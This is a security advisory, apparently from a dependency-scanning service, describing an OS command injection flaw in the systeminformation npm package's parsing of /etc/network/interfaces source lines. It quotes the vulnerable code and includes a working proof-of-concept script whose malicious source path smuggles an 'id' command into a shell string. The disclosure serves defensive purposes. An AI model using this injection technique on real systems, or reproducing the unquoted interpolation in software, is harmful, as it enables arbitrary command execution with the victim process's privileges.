npm · systeminformation
systeminformation: OS command injection in networkInterfaces() via interfaces(5) source-directive path on Linux
On Linux, systeminformation's networkInterfaces() is vulnerable to OS command injection through the Debian/Ubuntu interfaces(5) source directive. While collecting per-interface DHCP state, the library reads /etc/network/interfaces and, for every source <path> line it encounters, extracts the path token from the file content and interpolates it unquoted into a shell command string that is run via execSync(). A source line whose path contains shell metacharacters executes arbitrary commands with the privileges of the calling Node.js process.
This is the same root-cause class as the previously-fixed NetworkManager-connection-name injection in this file: a value parsed out of local system state is re-interpolated into a shell command string without sanitization. The NetworkManager paths were converted to argument-array execution, but the interfaces(5) source-recursion sink in checkLinuxDCHPInterfaces() was left unfixed and still builds a shell string. The input to this sink is unsanitized (unlike the iface/connectionName paths, which pass through util.sanitizeString in strict mode before reaching their commands).
An attacker who can place or influence a sourced path in /etc/network/interfaces (or any file it transitively sources) achieves command execution inside any process that calls networkInterfaces(). Realistic affected deployments are the same ones that motivate this library:
If such a process runs with elevated privileges, the injected command runs with those privileges. networkInterfaces() is a core, frequently-called API and is reached transitively by getStaticData() / getAllData(), so the sink is exercised by ordinary usage on Linux.
The dangerous value is not a function argument supplied by the caller. It is read from the content of an interfaces(5) configuration file. The stock Debian/Ubuntu layout uses source /etc/network/interfaces.d/* and source-directory fan-out, so the parser routinely follows source directives into other files and re-parses their source lines. Any actor who can write a file that becomes reachable through that source chain — for example a lower-privileged process or configuration-management hook that drops a file into a sourced directory, or a tool that materializes an interfaces snippet from semi-trusted input — controls the path token that lands in the shell command. No NetworkManager activation or special hardware is required; the only precondition is that one sourced path string contains shell metacharacters.
lib/network.js, checkLinuxDCHPInterfaces() (current 5.31.6 line numbers):
// lib/network.js
function checkLinuxDCHPInterfaces(file) {
let result = [];
try {
const cmd = `cat ${file} 2> /dev/null | grep 'iface\\|source'`; // <-- unquoted ${file} -> shell sink
const lines = execSync(cmd, util.execOptsLinux).toString().split('\n');
lines.forEach((line) => {
const parts = line.replace(/\s+/g, ' ').trim().split(' ');
if (parts.length >= 4) {
if (line.toLowerCase().indexOf(' inet ') >= 0 && line.toLowerCase().indexOf('dhcp') >= 0) {
result.push(parts[1]);
}
}
if (line.toLowerCase().includes('source')) {
const file = line.split(' ')[1]; // <-- path parsed FROM file content
result = result.concat(checkLinuxDCHPInterfaces(file)); // <-- recurses, re-feeding attacker path
}
});
} catch {
util.noop();
}
return result;
}
util.execOptsLinux sets no shell option, so execSync(cmd, util.execOptsLinux) runs cmd through /bin/sh. The ${file} token is interpolated raw — not quoted, not passed through util.sanitizeString/sanitizeShellString — so ;, $( ), backticks, |, &, redirections, and even a bare space all break out of the intended cat/grep pipeline.
Reach chain to the public API:
// lib/network.js, getLinuxDHCPNics()
result = checkLinuxDCHPInterfaces('/etc/network/interfaces');
// lib/network.js, networkInterfaces() (Linux branch)
_dhcpNics = getLinuxDHCPNics();
networkInterfaces() is also reached by getStaticData() and getAllData() in lib/index.js.
The PoC exercises the verbatim shipped sink function extracted from the installed node_modules/systeminformation/lib/network.js (version pinned to 5.31.6), bound to the same child_process.execSync and shipped util.execOptsLinux the library uses. It then drives the exact source-recursion data flow with a malicious sourced path. A negative control with a benign path confirms no execution occurs on well-formed input.
Install the pinned vulnerable version:
mkdir si-poc && cd si-poc
npm init -y >/dev/null
npm install systeminformation@5.31.6
poc.js:
const fs = require('fs');
const path = require('path');
const cp = require('child_process');
const libDir = path.join(__dirname, 'node_modules', 'systeminformation', 'lib');
const util = require(path.join(libDir, 'util.js'));
// Load the VERBATIM shipped sink function from the installed library source.
const src = fs.readFileSync(path.join(libDir, 'network.js'), 'utf8');
const m = src.match(/function checkLinuxDCHPInterfaces\(file\) \{[\s\S]*?\n\}\n/);
if (!m) { console.error('could not locate shipped function'); process.exit(2); }
// Bind the same free vars network.js binds: execSync + util.
const execSync = cp.execSync;
const checkLinuxDCHPInterfaces =
new Function('execSync', 'util', m[0] + '\nreturn checkLinuxDCHPInterfaces;')(execSync, util);
// --- Malicious case: a sourced interfaces file with shell metacharacters in the path ---
const tmp = fs.mkdtempSync('/tmp/si-dhcp-');
const outer = path.join(tmp, 'interfaces');
const marker = path.join(tmp, 'PWNED');
const maliciousSource = `/dev/null;id>${marker};echo`;
fs.writeFileSync(outer, `auto lo\niface lo inet loopback\nsource ${maliciousSource}\n`);
console.log('PRE marker_exists=' + fs.existsSync(marker));
const res = checkLinuxDCHPInterfaces(outer); // == networkInterfaces() -> getLinuxDHCPNics() path
console.log('returned=' + JSON.stringify(res));
console.log('POST marker_exists=' + fs.existsSync(marker));
if (fs.existsSync(marker)) console.log('marker_contents=' + fs.readFileSync(marker, 'utf8').trim());
// --- Negative control: a benign sourced path must NOT execute anything ---
const tmp2 = fs.mkdtempSync('/tmp/si-neg-');
const outer2 = path.join(tmp2, 'interfaces');
const inner2 = path.join(tmp2, 'iface.d');
const marker2 = path.join(tmp2, 'PWNED_NEG');
fs.writeFileSync(inner2, 'iface eth0 inet dhcp\n');
fs.writeFileSync(outer2, `auto lo\nsource ${inner2}\n`);
console.log('\nNEG pre marker_exists=' + fs.existsSync(marker2));
const res2 = checkLinuxDCHPInterfaces(outer2);
console.log('NEG returned=' + JSON.stringify(res2));
console.log('NEG post marker_exists=' + fs.existsSync(marker2));
Run it:
node poc.js
Verbatim captured output (against systeminformation@5.31.6):
PRE marker_exists=false
returned=[]
POST marker_exists=true
marker_contents=uid=501(rick) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),79(_appserverusr),80(admin),81(_appserveradm),701(com.apple.sharepoint.group.1),33(_appstore),98(_lpadmin),100(_lpoperator),204(_developer),250(_analyticsusers),395(com.apple.access_ftp),398(com.apple.access_screensharing),399(com.apple.access_ssh),400(com.apple.access_remote_ae)
NEG pre marker_exists=false
NEG returned=["eth0"]
NEG post marker_exists=false
The malicious source path caused the injected id command to run (marker created, contents = the calling process identity), while the benign source path parsed normally (["eth0"]) and produced no
Is your project exposed to this? Stateward checks every dependency on every pull request and flags it only if your code actually reaches it.
Check my repoSources: CISA KEV (public domain), OSV.dev & GitHub Advisory Database (CC-BY-4.0), FIRST EPSS, NVD/CWE (public domain). Served live from the Stateward advisory database.